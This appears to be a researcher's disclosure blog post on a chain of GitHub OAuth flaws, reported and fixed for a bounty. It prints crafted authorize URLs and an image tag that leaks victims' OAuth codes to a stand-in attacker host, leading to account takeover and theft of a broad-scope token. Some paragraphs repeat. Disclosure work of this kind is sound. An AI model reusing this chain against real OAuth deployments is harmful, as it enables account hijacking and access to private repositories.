These vulnerabilities were reported privately and fixed in timely fashion. Here is the "timeline" of my emails.
More detailed/alternative explanation.
A few days ago Github launched a Bounty program which was a good motivator for me to play with Github OAuth.
Bug 1. Bypass of redirect_uri validation with /../
First thing I noticed was:
If provided, the redirect URL’s host and port must exactly match the callback URL. The redirect URL’s path must reference a subdirectory of the callback URLI then tried path traversal with /../ — it worked.
Bug 2. Lack of redirect_uri validation on get-token endpoint
The first bug alone isn't worth much. There's protection in OAuth2 from "leaky" redirect_uri's, every 'code' has corresponding 'redirect_uri' it was issued for. To get an access token you must supply exact redirect_uri you used in the authorization flow.Too bad. I decided to find out whether the protection was implemented properly.
redirect_uri
string
The URL in your app where users will be sent after authorization. See details below about redirect urls.
It was flawed: no matter what redirect_uri the Client sent to get a token, the Provider responded with valid access_token.
Without the first bug, the second would be worth nothing as well. But together they turn into a powerful vulnerability — the attacker could hijack the authorization code issued for a "leaky" redirect_uri, then apply the leaked code on real Client's callback to log in Victim's account. Btw it was the same bug I found in VK.com.
It's a serious issue and can be used to compromise "Login with Github" functionality on all websites relying on it. I opened Applications page to see what websites I should check. This section got my attention:
Gist, Education, Pages and Speakerdeck are official pre-approved OAuth clients. I couldn't find client_id of Pages/Education, Speakerdeck was out of Bounty scope (I found account hijacking there and was offered $100). Let's find a Referer-leaking page on Gist then.
Bug 3. Injecting cross domain image in a gist.
Basically, there are two vectors for leaking Referers: user clicks a link (requires interaction) or user agent loads some cross domain resource, like <img>.
I can't simply inject <img src=http://attackersite.com> because it's going to be replaced by Camo-proxy URL, which doesn't pass Referer header to attacker's host. To bypass Camo-s filter I used following trick: <img src="///attackersite.com">
You can find more details about this vector in Evolution of Open Redirect Vulnerability.
///host.com is parsed as a path-relative URL by Ruby's URI library but it's treated as a protocol-relative URL by Chrome and Firefox. Here's our crafted URL:
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code
When the user loads this URL, Github 302-redirects him automatically.
Location: https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE
But the user agent loads https://gist.github.com/homakov/8820324?code=CODE
Then user agent leaks CODE sending request to our <img>:
As soon as we get victim's CODE we can hit https://gist.github.com/auth/github/callback?code=CODE and voila, we are logged into the victim's account and we have access to private gists.
I can't simply inject <img src=http://attackersite.com> because it's going to be replaced by Camo-proxy URL, which doesn't pass Referer header to attacker's host. To bypass Camo-s filter I used following trick: <img src="///attackersite.com">
You can find more details about this vector in Evolution of Open Redirect Vulnerability.
///host.com is parsed as a path-relative URL by Ruby's URI library but it's treated as a protocol-relative URL by Chrome and Firefox. Here's our crafted URL:
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code
When the user loads this URL, Github 302-redirects him automatically.
Location: https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE
But the user agent loads https://gist.github.com/homakov/8820324?code=CODE
Then user agent leaks CODE sending request to our <img>:
As soon as we get victim's CODE we can hit https://gist.github.com/auth/github/callback?code=CODE and voila, we are logged into the victim's account and we have access to private gists.
Bug 4. Gist reveals github_token in cookies
I was wondering how Gist persists the user session and decoded _gist_session cookie (which is regular Rails Base64 encoded cookie):Oh my, another OAuth anti-pattern! Clients should never reveal actual access_token to the user agent. Now we can use this github_token to perform API calls on behalf of the victim's account, without the Gist website. I tried to access private repos:
Damn it, the token's scope is just "gists", apparently...
Bug 5. Auto approval of 'scope' for Gist client.
Final touch of my exploit. Since Gist is a pre-approved Client, I assumed Github approves any scope the Gist Client asks for automatically. And I was right.All we need now is to load the crafted URL into the victim's browser:
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications
The user-agent leaks the victim's CODE, Attacker uses leaked CODE to log into the victim's Gist account, decodes _gist_session to steal github_token and ...
NoScript is not going to help. The exploit is script-less.
Private repos, read/write access, etc — all of it in stealth-mode, because the github_token belongs to Gist client. Perfect crime, isn't it?
NoScript is not going to help. The exploit is script-less.
Private repos, read/write access, etc — all of it in stealth-mode, because the github_token belongs to Gist client. Perfect crime, isn't it?
Bounty
$4000 reward is pretty good. Interestingly, it would be even cheaper for them to buy 4-5 hours of my consulting services at $400/hr which would have cost them $1600 instead. Crowdsourced-security is also an important thing to have. It's better to use them both :)
I'd love to help your company & save you a lot of money.
P.S. I have two other posts about Github vulnerabilities: mass assignment and cookie tossing.
Love donating? I do a lot of unpaid work for open-source and bounty-less websites, so if you wish: coinbase/paypal homakov@gmail.com
I'd love to help your company & save you a lot of money.
P.S. I have two other posts about Github vulnerabilities: mass assignment and cookie tossing.
Love donating? I do a lot of unpaid work for open-source and bounty-less websites, so if you wish: coinbase/paypal homakov@gmail.com